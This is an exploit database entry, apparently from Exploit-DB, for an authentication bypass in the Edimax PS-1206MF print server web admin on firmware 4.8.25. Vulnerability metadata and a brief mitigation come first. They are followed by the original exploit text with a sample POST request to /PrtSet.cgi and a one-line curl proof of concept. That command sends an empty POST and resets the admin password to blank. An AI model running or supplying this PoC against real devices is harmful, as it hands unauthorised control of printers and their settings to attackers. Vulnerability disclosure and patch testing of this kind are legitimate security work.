Edimax PS-1206MF - Web Admin Auth Bypass

vendor:

PS-1206MF

by:

Smash_

7,5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: PS-1206MF

Affected Version From: 4.8.25

Affected Version To: 4.8.25

Patch Exists: NO

Related CWE: N/A

CPE: h:edimax:ps-1206mf

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2015

Edimax PS-1206MF – Web Admin Auth Bypass

Edimax PS-1206MF is vulnerable to authentication bypass. By sending a POST request to .cgi, an attacker can change specific settings or even reset the admin password without knowing the current password. By default, it is necessary to know the current password in order to change it, but when the request is missing POST anewpass & confpass parameters, the admin password will be set to null.

Mitigation:

Ensure that authentication is properly verified when sending POST requests to .cgi.

Source

Exploit-DB raw data:

# Title: Edimax PS-1206MF - Web Admin Auth Bypass
# Date: 30.08.15
# Vendor: edimax.com
# Firmware version: 4.8.25
# Author: Smash_
# Contact: smash [at] devilteam.pl


HTTP authorization is not being properly verified while sendind POST requests to .cgi, remote attacker is able to change specific settings or even reset admin password.

By default, it is necessary to know current password in order to change it, but when request will be missing POST anewpass & confpass parameters, admin password will be set to null.

devil@hell:~$ curl -gi http://192.168.0.10/
HTTP/1.1 401 
Date: Sat, 21 Dec 1996 12:00:00 GMT
WWW-Authenticate: Basic realm="Default password:1234"

401 Unauthorized - User authentication is required.

Request:
POST /PrtSet.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/pssystem.htm
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

BoxName=MFD55329&anewpass=1234&confpass=1234&PSPORTNAME1=&PSPORTNAME2=&PSPORTNAME3=&save.x=47&save.y=11

Response:
HTTP/1.1 200 OK
Date: Sat, 21 Dec 1996 12:00:00 GMT
Content-type: text/html

<html><head><title>Advance Settings</title><link rel="stylesheet" href="set.css"></head>
(...)


Following curl request will set admin account with empty password.

PoC:
devil@hell:~$ curl -XPOST --data "" -s http://192.168.0.10/PrtSet.cgi > /dev/null